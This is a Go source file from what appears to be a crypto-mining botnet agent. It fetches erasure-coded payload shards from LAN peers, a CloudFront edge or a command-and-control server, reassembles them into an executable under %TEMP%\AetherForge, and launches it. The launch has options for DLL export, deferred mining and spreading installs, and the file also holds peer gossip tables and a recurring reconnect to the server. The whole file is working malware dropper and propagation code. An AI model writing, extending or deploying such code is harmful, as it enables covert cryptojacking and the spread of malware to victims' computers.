package deploy import ( "crypto/sha256" "encoding/hex" "fmt" "io" "net/http" "os" "path/filepath" "sort" "strings" "sync" "time" "crypto-miner-agent/config" ) const ( fleetTorrentMaxLANNeighbors = 3 fleetTorrentZeroServerRetry = 30 * time.Minute ) const ( FleetGossipHaveShard = "have_shard" FleetGossipHealthy = "healthy" FleetGossipKnowNode = "know_node" ) type FleetGossipRecord struct { Kind string `json:"kind"` AgentID string `json:"agent_id,omitempty"` Subnet string `json:"subnet,omitempty"` Token string `json:"token,omitempty"` ShardIndex int `json:"shard_index,omitempty"` ShardHash string `json:"shard_hash,omitempty"` Region string `json:"region,omitempty"` ShardAdvert string `json:"shard_advert,omitempty"` TargetAgentID string `json:"target_agent_id,omitempty"` Healthy bool `json:"healthy,omitempty"` FetchURL string `json:"fetch_url,omitempty"` } type ShardPeer struct { AgentID string Subnet string Region string FetchURL string } type FleetShardDHT struct { mu sync.RWMutex peers map[string]map[int][]ShardPeer shardHash map[string]map[int]string healthy map[string]bool local map[string]map[int][]byte } var globalFleetDHT = &FleetShardDHT{ peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string), healthy: make(map[string]bool), local: make(map[string]map[int][]byte), } func FleetShardDHTSnapshot() *FleetShardDHT { return globalFleetDHT } func SetFleetShardDHT(dht *FleetShardDHT) { if dht != nil { globalFleetDHT = dht } } func shardContentHash(data []byte) string { sum := sha256.Sum256(data) return hex.EncodeToString(sum[:]) } func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) { if d == nil || len(records) == 0 { return } d.mu.Lock() defer d.mu.Unlock() for _, r := range records { switch strings.TrimSpace(strings.ToLower(r.Kind)) { case FleetGossipHaveShard: if r.Token == "" || r.AgentID == "" { continue } region := strings.TrimSpace(r.Region) if region == "" && r.ShardAdvert != "" { if parsed, _, ok := ParseShardAdvert(r.ShardAdvert); ok { region = parsed } } if d.peers[r.Token] == nil { d.peers[r.Token] = make(map[int][]ShardPeer) } if d.shardHash[r.Token] == nil { d.shardHash[r.Token] = make(map[int]string) } if h := strings.TrimSpace(strings.ToLower(r.ShardHash)); h != "" { d.shardHash[r.Token][r.ShardIndex] = h } peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, Region: region, FetchURL: r.FetchURL} d.peers[r.Token][r.ShardIndex] = appendUniquePeer(d.peers[r.Token][r.ShardIndex], peer) case FleetGossipHealthy: if r.AgentID != "" { d.healthy[r.AgentID] = r.Healthy } case FleetGossipKnowNode: if r.TargetAgentID != "" { d.healthy[r.TargetAgentID] = true } } } } func appendUniquePeer(peers []ShardPeer, p ShardPeer) []ShardPeer { for _, existing := range peers { if existing.AgentID == p.AgentID && existing.FetchURL == p.FetchURL { return peers } } return append(peers, p) } func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) { if d == nil || token == "" || len(body) == 0 { return } d.mu.Lock() defer d.mu.Unlock() if d.local[token] == nil { d.local[token] = make(map[int][]byte) } d.local[token][index] = append([]byte(nil), body...) } func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) { if d == nil { return nil, false } d.mu.RLock() defer d.mu.RUnlock() if d.local[token] == nil { return nil, false } body, ok := d.local[token][index] if !ok { return nil, false } return append([]byte(nil), body...), true } func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, localRegion string) []ShardPeer { if d == nil { return nil } d.mu.RLock() defer d.mu.RUnlock() raw := d.peers[token][index] if len(raw) == 0 { return nil } out := make([]ShardPeer, len(raw)) copy(out, raw) sort.Slice(out, func(i, j int) bool { si := peerScore(out[i], localSubnet, localRegion) sj := peerScore(out[j], localSubnet, localRegion) if si != sj { return si > sj } return out[i].AgentID < out[j].AgentID }) return out } func (d *FleetShardDHT) ShardContentHash(token string, index int) string { if d == nil { return "" } d.mu.RLock() defer d.mu.RUnlock() if d.shardHash[token] == nil { return "" } return d.shardHash[token][index] } func peerScore(p ShardPeer, localSubnet, localRegion string) int { if localSubnet != "" && p.Subnet == localSubnet { return 4 } if localRegion != "" && p.Region == localRegion { return 3 } if p.Region != "" { return 2 } if p.Subnet != "" { return 1 } return 0 } func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []ShardPeer { if maxLAN <= 0 { maxLAN = fleetTorrentMaxLANNeighbors } var out []ShardPeer for _, p := range peers { if localSubnet != "" && p.Subnet == localSubnet { out = append(out, p) if len(out) >= maxLAN { break } } } return out } func FetchErasureShardFleet(token string, index int, c2URL, cloudFrontURL, localSubnet, localRegion string, dht *FleetShardDHT) ([]byte, error) { if dht == nil { dht = globalFleetDHT } if body, ok := dht.LocalShard(token, index); ok { return body, nil } peers := dht.PeersForShard(token, index, localSubnet, localRegion) try := func(url string) ([]byte, error) { if url == "" { return nil, fmt.Errorf("empty url") } if erasureFetchFn != nil { return erasureFetchFn(url) } return fetchErasureShardHTTP(url) } for _, p := range PickLANNeighborPeers(peers, localSubnet, fleetTorrentMaxLANNeighbors) { if body, err := try(p.FetchURL); err == nil { return body, nil } } for _, p := range peers { if localSubnet != "" && p.Subnet == localSubnet { continue } if localRegion != "" && p.Region == localRegion { if body, err := try(p.FetchURL); err == nil { return body, nil } } } for _, p := range peers { if localSubnet != "" && p.Subnet == localSubnet { continue } if localRegion != "" && p.Region == localRegion { continue } if body, err := try(p.FetchURL); err == nil { return body, nil } } if cloudFrontURL != "" { if body, err := try(cloudFrontURL); err == nil { return body, nil } } if c2URL != "" { return try(c2URL) } return nil, fmt.Errorf("fleet torrent: no shard source for %s/%d", token, index) } func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet, localRegion string) (string, error) { if !plan.Enabled || len(plan.Shards) == 0 { return "", fmt.Errorf("erasure plan disabled or empty") } p := erasureParams{DataShards: plan.DataShards, ParityShards: plan.ParityShards} p, err := p.normalize() if err != nil { return "", err } dest, err := ResolveStagingPath(firstNonEmptyStr(plan.Dest, `%TEMP%\AetherForge\erasure-worker.exe`)) if err != nil { return "", err } workDir := erasureWorkDir(cfg, plan.ShardToken) if err := os.MkdirAll(workDir, 0o700); err != nil { return "", err } cleanup := func() { _ = os.RemoveAll(workDir) } dht := FleetShardDHTSnapshot() shards := make([][]byte, p.totalShards()) c2 := strings.TrimRight(strings.TrimSpace(c2BaseURL), "/") for _, ref := range plan.Shards { if ref.Index < 0 || ref.Index >= len(shards) { continue } if len(shards[ref.Index]) > 0 { continue } c2URL := strings.TrimSpace(ref.URL) if c2 == "" && c2URL == "" { continue } if c2 != "" && !strings.HasPrefix(c2URL, "http") { c2URL = fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", c2, plan.ShardToken, ref.Index) } region := localRegion if region == "" { region = strings.TrimSpace(cfg.AwsS3ShardRegion) } cfURL := cloudFrontShardURL(cfg.AwsCloudFrontDomain, plan.ShardToken, region, ref.Index, dht.ShardContentHash(plan.ShardToken, ref.Index)) if edge := strings.TrimSpace(ref.EdgeURL); edge != "" { cfURL = edge } body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, cfURL, localSubnet, localRegion, dht) if err != nil { continue } shards[ref.Index] = body } payload, err := decodeErasureShards(shards, plan.PayloadSize, p) if err != nil { cleanup() return "", err } if err := verifyBytesSHA256(payload, plan.PayloadSHA256); err != nil { cleanup() return "", err } if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil { cleanup() return "", err } if err := os.WriteFile(dest, payload, 0o755); err != nil { cleanup() return "", err } launch := strings.TrimSpace(plan.Launch) if launch == "" { launch = "exe" } launchFn := erasureLaunchFn if launchFn == nil { launchFn = launchErasureStagedBinary } msg, err := launchFn(dest, launch, plan.DLLExport, plan.DeferMining, plan.SpreadInstall) cleanup() if err != nil { return "", err } return "fleet_torrent: " + msg, nil } func IngestErasureShardsForSeeder(plan ErasurePlanBody, region string, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord { if fetchFn == nil { fetchFn = fetchErasureShardHTTP } dht := FleetShardDHTSnapshot() var records []FleetGossipRecord for _, ref := range plan.Shards { body, err := fetchFn(strings.TrimSpace(ref.URL)) if err != nil || len(body) == 0 { continue } hash := shardContentHash(body) dht.StoreLocalShard(plan.ShardToken, ref.Index, body) records = append(records, FleetGossipRecord{ Kind: FleetGossipHaveShard, Token: plan.ShardToken, ShardIndex: ref.Index, ShardHash: hash, Region: strings.TrimSpace(region), ShardAdvert: FormatShardAdvert(region, ref.Index), FetchURL: ref.URL, Healthy: true, }) } return records } func StartFleetTorrentReplication(cfg config.RuntimeConfig, plan ErasurePlanBody, gossipFn func([]FleetGossipRecord)) { if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder || gossipFn == nil { return } go func() { ticker := time.NewTicker(5 * time.Minute) defer ticker.Stop() for range ticker.C { region := ResolveLocalAWSRegion(cfg.AwsS3ShardRegion) if recs := IngestErasureShardsForSeeder(plan, region, fetchErasureShardHTTP); len(recs) > 0 { gossipFn(recs) } } }() } func StartZeroServerReconnect(reconnectFn func() error) { if reconnectFn == nil { return } go func() { ticker := time.NewTicker(fleetTorrentZeroServerRetry) defer ticker.Stop() for range ticker.C { _ = reconnectFn() } }() } func ParseSwarmMagnetToken(magnet string) string { magnet = strings.TrimSpace(magnet) if magnet == "" { return "" } if idx := strings.Index(magnet, "tr=urn:aetherforge:erasure:"); idx >= 0 { rest := magnet[idx+len("tr=urn:aetherforge:erasure:"):] if amp := strings.Index(rest, "&"); amp >= 0 { rest = rest[:amp] } return strings.TrimSpace(rest) } return "" } func FetchShardManifestHTTP(manifestURL string) ([]byte, error) { if manifestURL == "" { return nil, fmt.Errorf("empty manifest url") } client := &http.Client{Timeout: 30 * time.Second} resp, err := client.Get(manifestURL) if err != nil { return nil, err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf("manifest HTTP %d", resp.StatusCode) } return io.ReadAll(io.LimitReader(resp.Body, 8<<20)) }